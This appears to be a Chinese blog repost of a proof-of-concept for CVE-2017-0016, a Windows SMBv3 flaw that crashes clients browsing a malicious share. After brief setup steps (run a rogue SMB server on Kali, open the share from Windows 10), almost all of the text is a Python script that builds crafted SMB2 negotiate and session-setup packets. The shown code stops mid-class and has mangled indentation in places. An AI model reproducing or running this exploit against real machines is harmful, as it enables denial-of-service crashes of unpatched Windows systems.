CVE-2017-0016 Windows 10 SMBv3共享致BSOD POC

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CVE-2017-0016 Windows 10 SMBv3共享致BSOD POC相关的知识,希望对你有一定的参考价值。

 

0x00.说明

  此SMB服务漏洞波及Win Server 2012/2016、Win10/Win8/8.1,微软截至目前并未发布对应补丁。

  首先在Kali linux上开启恶意SMB服务 (Windows上自身445端口已被占用)

技术分享

在另一台Win10上查看共享文件,触发mrxsmb20.sys文件漏洞致使计算机蓝屏

技术分享

0x01.POC示例

  Win10.py

  1 import sys, struct, SocketServer
  2 from odict import OrderedDict
  3 from datetime import datetime
  4 from calendar import timegm
  5 
  6 class Packet():
  7     fields = OrderedDict([
  8         ("data", ""),
  9     ])
 10     def __init__(self, **kw):
 11         self.fields = OrderedDict(self.__class__.fields)
 12         for k,v in kw.items():
 13             if callable(v):
 14                 self.fields[k] = v(self.fields[k])
 15             else:
 16                 self.fields[k] = v
 17     def __str__(self):
 18         return "".join(map(str, self.fields.values()))
 19 
 20 def NTStamp(Time):
 21     NtStamp = 116444736000000000 + (timegm(Time.timetuple()) * 10000000)
 22     return struct.pack("Q", NtStamp + (Time.microsecond * 10))
 23 
 24 def longueur(payload):
 25     length = struct.pack(">i", len(‘‘.join(payload)))
 26     return length
 27 
 28 def GrabMessageID(data):
 29     Messageid = data[28:36]
 30     return Messageid
 31 
 32 def GrabCreditRequested(data):
 33     CreditsRequested = data[18:20]
 34     if CreditsRequested == "\\x00\\x00":
 35        CreditsRequested =  "\\x01\\x00"
 36     else:
 37        CreditsRequested = data[18:20]
 38     return CreditsRequested
 39 
 40 def GrabCreditCharged(data):
 41     CreditCharged = data[10:12]
 42     return CreditCharged
 43 
 44 def GrabSessionID(data):
 45     SessionID = data[44:52]
 46     return SessionID
 47 
 48 ##################################################################################
 49 class SMBv2Header(Packet):
 50     fields = OrderedDict([
 51         ("Proto",         "\\xfe\\x53\\x4d\\x42"),
 52         ("Len",           "\\x40\\x00"),
 53         ("CreditCharge",  "\\x00\\x00"),
 54         ("NTStatus",      "\\x00\\x00\\x00\\x00"),
 55         ("Cmd",           "\\x00\\x00"),
 56         ("Credits",       "\\x01\\x00"),
 57         ("Flags",         "\\x01\\x00\\x00\\x00"),
 58         ("NextCmd",       "\\x00\\x00\\x00\\x00"),
 59         ("MessageId",     "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"),
 60         ("PID",           "\\xff\\xfe\\x00\\x00"),
 61         ("TID",           "\\x00\\x00\\x00\\x00"),
 62         ("SessionID",     "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"),
 63         ("Signature",     "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"),
 64     ])
 65 
 66 ##################################################################################
 67 class SMB2NegoAns(Packet):
 68     fields = OrderedDict([
 69         ("Len",             "\\x41\\x00"),
 70         ("Signing",         "\\x01\\x00"),
 71         ("Dialect",         "\\xff\\x02"),
 72         ("Reserved",        "\\x00\\x00"),
 73         ("Guid",            "\\xea\\x85\\xab\\xf1\\xea\\xf6\\x0c\\x4f\\x92\\x81\\x92\\x47\\x6d\\xeb\\x72\\xa9"),
 74         ("Capabilities",    "\\x07\\x00\\x00\\x00"),
 75         ("MaxTransSize",    "\\x00\\x00\\x10\\x00"),
 76         ("MaxReadSize",     "\\x00\\x00\\x10\\x00"),
 77         ("MaxWriteSize",    "\\x00\\x00\\x10\\x00"),
 78         ("SystemTime",      NTStamp(datetime.now())),
 79         ("BootTime",        "\\x22\\xfb\\x80\\x01\\x40\\x09\\xd2\\x01"),
 80         ("SecBlobOffSet",             "\\x80\\x00"),
 81         ("SecBlobLen",                "\\x78\\x00"),
 82         ("Reserved2",                 "\\x4d\\x53\\x53\\x50"),
 83         ("InitContextTokenASNId",     "\\x60"),
 84         ("InitContextTokenASNLen",    "\\x76"),
 85         ("ThisMechASNId",             "\\x06"),
 86         ("ThisMechASNLen",            "\\x06"),
 87         ("ThisMechASNStr",            "\\x2b\\x06\\x01\\x05\\x05\\x02"),
 88         ("SpNegoTokenASNId",          "\\xA0"),
 89         ("SpNegoTokenASNLen",         "\\x6c"),
 90         ("NegTokenASNId",             "\\x30"),
 91         ("NegTokenASNLen",            "\\x6a"),
 92         ("NegTokenTag0ASNId",         "\\xA0"),
 93         ("NegTokenTag0ASNLen",        "\\x3c"),
 94         ("NegThisMechASNId",          "\\x30"),
 95         ("NegThisMechASNLen",         "\\x3a"),
 96         ("NegThisMech1ASNId",         "\\x06"),
 97         ("NegThisMech1ASNLen",        "\\x0a"),
 98         ("NegThisMech1ASNStr",        "\\x2b\\x06\\x01\\x04\\x01\\x82\\x37\\x02\\x02\\x1e"),
 99         ("NegThisMech2ASNId",         "\\x06"),
100         ("NegThisMech2ASNLen",        "\\x09"),
101         ("NegThisMech2ASNStr",        "\\x2a\\x86\\x48\\x82\\xf7\\x12\\x01\\x02\\x02"),
102         ("NegThisMech3ASNId",         "\\x06"),
103         ("NegThisMech3ASNLen",        "\\x09"),
104         ("NegThisMech3ASNStr",        "\\x2a\\x86\\x48\\x86\\xf7\\x12\\x01\\x02\\x02"),
105         ("NegThisMech4ASNId",         "\\x06"),
106         ("NegThisMech4ASNLen",        "\\x0a"),
107         ("NegThisMech4ASNStr",        "\\x2a\\x86\\x48\\x86\\xf7\\x12\\x01\\x02\\x02\\x03"),
108         ("NegThisMech5ASNId",         "\\x06"),
109         ("NegThisMech5ASNLen",        "\\x0a"),
110         ("NegThisMech5ASNStr",        "\\x2b\\x06\\x01\\x04\\x01\\x82\\x37\\x02\\x02\\x0a"),
111         ("NegTokenTag3ASNId",         "\\xA3"),
112         ("NegTokenTag3ASNLen",        "\\x2a"),
113         ("NegHintASNId",              "\\x30"),
114         ("NegHintASNLen",             "\\x28"),
115         ("NegHintTag0ASNId",          "\\xa0"),
116         ("NegHintTag0ASNLen",         "\\x26"),
117         ("NegHintFinalASNId",         "\\x1b"), 
118         ("NegHintFinalASNLen",        "\\x24"),
119         ("NegHintFinalASNStr",        "[email protected]"),
120         ("Data",                      ""),
121     ])
122 
123     def calculate(self):
124 
125 
126         StructLen = str(self.fields["Len"])+str(self.fields["Signing"])+str(self.fields["Dialect"])+str(self.fields["Reserved"])+str(self.fields["Guid"])+str(self.fields["Capabilities"])+str(self.fields["MaxTransSize"])+str(self.fields["MaxReadSize"])+str(self.fields["MaxWriteSize"])+str(self.fields["SystemTime"])+str(self.fields["BootTime"])+str(self.fields["SecBlobOffSet"])+str(self.fields["SecBlobLen"])+str(self.fields["Reserved2"])
127                  
128         SecBlobLen = str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
129 
130 
131         AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
132 
133         AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
134 
135         MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])
136 
137         Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
138 
139                 #Sec Blob lens
140         self.fields["SecBlobOffSet"] = struct.pack("<h",len(StructLen)+64)
141         self.fields["SecBlobLen"] = struct.pack("<h",len(SecBlobLen))
142                 #ASN Stuff
143         self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(SecBlobLen)-2)
144         self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"])))
145         self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2))
146         self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2)
147         self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen))
148         self.fields["NegThisMech1ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech1ASNStr"])))
149         self.fields["NegThisMech2ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech2ASNStr"])))
150         self.fields["NegThisMech3ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech3ASNStr"])))
151         self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"])))
152         self.fields["NegThisMech5ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech5ASNStr"])))
153         self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len))
154         self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2)
155         self.fields["NegHintTag0ASNLen"] = struct.pack("<B", len(Tag3Len)-4)
156         self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
157 
158 ##################################################################################
159 class SMB2Session1Data(Packet):
160     fields = OrderedDict([
161         ("Len",             "\\x09\\x00"),
162         ("SessionFlag",     "\\x01\\x00"),
163         ("SecBlobOffSet",   "\\x48\\x00"),
164         ("SecBlobLen",      "\\x06\\x01"),
165         ("ChoiceTagASNId",        "\\xa1"), 
166         ("ChoiceTagASNLenOfLen",  "\\x82"), 
167         ("ChoiceTagASNIdLen",     "\\x01\\x02"),
168         ("NegTokenTagASNId",      "\\x30"),
169         ("NegTokenTagASNLenOfLen","\\x81"),
170         ("NegTokenTagASNIdLen",   "\\xff"),
171         ("Tag0ASNId",             "\\xA0"),
172         ("Tag0ASNIdLen",          "\\x03"),
173         ("NegoStateASNId",        "\\x0A"),
174         ("NegoStateASNLen",       "\\x01"),
175         ("NegoStateASNValue",     "\\x01"),
176         ("Tag1ASNId",             "\\xA1"),
177         ("Tag1ASNIdLen",          "\\x0c"),
178         ("Tag1ASNId2",            "\\x06"),
179         ("Tag1ASNId2Len",         "\\x0A"),
180         ("Tag1ASNId2Str",         "\\x2b\\x06\\x01\\x04\\x01\\x82\\x37\\x02\\x02\\x0a"),
181         ("Tag2ASNId",             "\\xA2"),
182         ("Tag2ASNIdLenOfLen",     "\\x81"),
183         ("Tag2ASNIdLen",          "\\xE9"),
184         ("Tag3ASNId",             "\\x04"),
185         ("Tag3ASNIdLenOfLen",     "\\x81"),
186         ("Tag3ASNIdLen",          "\\xE6"),
187         ("NTLMSSPSignature",      "NTLMSSP"),
188         ("NTLMSSPSignatureNull",  "\\x00"),
189         ("NTLMSSPMessageType",    "\\x02\\x00\\x00\\x00"),
190         ("NTLMSSPNtWorkstationLen","\\x1e\\x00"),
191         ("NTLMSSPNtWorkstationMaxLen","\\x1e\\x00"),
192         ("NTLMSSPNtWorkstationBuffOffset","\\x38\\x00\\x00\\x00"),
193         ("NTLMSSPNtNegotiateFlags","\\x15\\x82\\x89\\xe2"),
194         ("NTLMSSPNtServerChallenge","\\x82\\x21\\x32\\x14\\x51\\x46\\xe2\\x83"),
195         ("NTLMSSPNtReserved","\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"),
196         ("NTLMSSPNtTargetInfoLen","\\x94\\x00"),
197         ("NTLMSSPNtTargetInfoMaxLen","\\x94\\x00"),
198         ("NTLMSSPNtTargetInfoBuffOffset","\\x56\\x00\\x00\\x00"),
199         ("NegTokenInitSeqMechMessageVersionHigh","\\x06"),
200         ("NegTokenInitSeqMechMessageVersionLow","\\x03"),
201         ("NegTokenInitSeqMechMessageVersionBuilt","\\x80\\x25"),
202         ("NegTokenInitSeqMechMessageVersionReserved","\\x00\\x00\\x00"),
203         ("NegTokenInitSeqMechMessageVersionNTLMType","\\x0f"),
204         ("NTLMSSPNtWorkstationName","SMB3"),
205         ("NTLMSSPNTLMChallengeAVPairsId","\\x02\\x00"),
206         ("NTLMSSPNTLMChallengeAVPairsLen","\\x0a\\x00"),
207         ("NTLMSSPNTLMChallengeAVPairsUnicodeStr","SMB5"),
208         ("NTLMSSPNTLMChallengeAVPairs1Id","\\x01\\x00"),
209         ("NTLMSSPNTLMChallengeAVPairs1Len","\\x1e\\x00"),
210         ("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","WIN-PRH502RQAFV"), 
211         ("NTLMSSPNTLMChallengeAVPairs2Id","\\x04\\x00"),
212         ("NTLMSSPNTLMChallengeAVPairs2Len","\\x1e\\x00"),
213         ("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","SMB5.local"), 
214         ("NTLMSSPNTLMChallengeAVPairs3Id","\\x03\\x00"),
215         ("NTLMSSPNTLMChallengeAVPairs3Len","\\x1e\\x00"),
216         ("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","WIN-PRH502RQAFV.SMB5.local"),
217         ("NTLMSSPNTLMChallengeAVPairs5Id","\\x05\\x00"),
218         ("NTLMSSPNTLMChallengeAVPairs5Len","\\x04\\x00"),
219         ("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","SMB5.local"),
220         ("NTLMSSPNTLMChallengeAVPairs7Id","\\x07\\x00"),
221         ("NTLMSSPNTLMChallengeAVPairs7Len","\\x08\\x00"),
222         ("NTLMSSPNTLMChallengeAVPairs7UnicodeStr",NTStamp(datetime.now())),
223         ("NTLMSSPNTLMChallengeAVPairs6Id","\\x00\\x00"),
224         ("NTLMSSPNTLMChallengeAVPairs6Len","\\x00\\x00"),
225     ])
226 
227 
228     def calculate(self):
229         ###### Convert strings to Unicode
230         self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode(utf-16le)
231         self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode(utf-16le)
232         self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode(utf-16le)
233         self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode(utf-16le)
234         self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode(utf-16le)
235         self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode(utf-16le)
236                 
237                 #Packet struct calc:
238         StructLen = str(self.fields["Len"])+str(self.fields["SessionFlag"])+str(self.fields["SecBlobOffSet"])+str(self.fields["SecBlobLen"])
239         ###### SecBlobLen Calc:
240         CalculateSecBlob = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NTLMSSPNtWorkstationName"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs7Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
241 
242         AsnLen = str(self.fields["ChoiceTagASNId"])+str(self.fields["ChoiceTagASNLenOfLen"])+str(self.fields["ChoiceTagASNIdLen"])+str(self.fields["NegTokenTagASNId"])+str(self.fields["NegTokenTagASNLenOfLen"])+str(self.fields["NegTokenTagASNIdLen"])+str(self.fields["Tag0ASNId"])+str(self.fields["Tag0ASNIdLen"])+str(self.fields["NegoStateASNId"])+str(self.fields["NegoStateASNLen"])+str(self.fields["NegoStateASNValue"])+str(self.fields["Tag1ASNId"])+str(self.fields["Tag1ASNIdLen"])+str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])+str(self.fields["Tag2ASNId"])+str(self.fields["Tag2ASNIdLenOfLen"])+str(self.fields["Tag2ASNIdLen"])+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])
243 
244 
245                 #Packet Struct len
246         self.fields["SecBlobLen"] = struct.pack("<H", len(AsnLen+CalculateSecBlob))
247                 self.fields["SecBlobOffSet"] = struct.pack("<h",len(StructLen)+64)
248 
249         ###### ASN Stuff
250                 if len(CalculateSecBlob) > 255:
251            self.fields["Tag3ASNIdLen"] = struct.pack(">H", len(CalculateSecBlob))
252                 else:
253                    self.fields["Tag3ASNIdLenOfLen"] = "\\x81"
254            self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob))
255 
256                 if len(AsnLen+CalculateSecBlob)-3 > 255:
257            self.fields["ChoiceTagASNIdLen"] = struct.pack(">H", len(AsnLen+CalculateSecBlob)-4)
258                 else:
259                    self.fields["ChoiceTagASNLenOfLen"] = "\\x81"
260            self.fields["ChoiceTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-3)
261 
262                 if len(AsnLen+CalculateSecBlob)-7 > 255:
263            self.fields["NegTokenTagASNIdLen"] = struct.pack(">H", len(AsnLen+CalculateSecBlob)-8)
264                 else:
265                    self.fields["NegTokenTagASNLenOfLen"] = "\\x81"
266            self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-7)
267                 
268                 tag2length = CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])
269 
270                 if len(tag2length) > 255:
271            self.fields["Tag2ASNIdLen"] = struct.pack(">H", len(tag2length))
272                 else:
273                    self.fields["Tag2ASNIdLenOfLen"] = "\\x81"
274            self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(tag2length))
275 
276         self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])))
277         self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"])))
278 
279         ###### Workstation Offset
280         CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
281 
282         ###### AvPairs Offset
283         CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs7Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
284 
285         ##### Workstation Offset Calculation:
286         self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation))
287         self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
288         self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
289 
290         ##### Target Offset Calculation:
291         self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
292         self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
293         self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
294         
295         ##### IvPair Calculation:
296         self.fields["NTLMSSPNTLMChallengeAVPairs7Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])))
297         self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
298         self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
299         self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
300         self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
301         self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
302 
303 class SMB2SessionAcceptData(Packet):
304     fields = OrderedDict([
305         ("Len",                       "\\x09\\x00"),
306         ("SessionFlag",               "\\x01\\x00"),
307         ("SecBlobOffSet",             "\\x48\\x00"),
308         ("SecBlobLen",                "\\x1d\\x00"),
309         ("SecBlobTag0",               "\\xa1"), 
310         ("SecBlobTag0Len",            "\\x1b"),
311         ("NegTokenResp",              "\\x30"), 
312         ("NegTokenRespLen",           "\\x19"), 
313         ("NegTokenRespTag0",          "\\xa0"), 
314         ("NegTokenRespTag0Len",       "\\x03"), 
315         ("NegStateResp",              "\\x0a"), 
316         ("NegTokenRespLen1",           "\\x01"), 
317         ("NegTokenRespStr",           "\\x00"),
318         ("SecBlobTag3",               "\\xa3"), 
319         ("SecBlobTag3Len",            "\\x12"),
320         ("SecBlobOctetHeader",        "\\x04"), 
321         ("SecBlobOctetLen",           "\\x10"),
322         ("MechlistMICVersion",        ""),# No verification on the client side...
323         ("MechlistCheckSum",          ""),
324         ("MechlistSeqNumber",         ""),
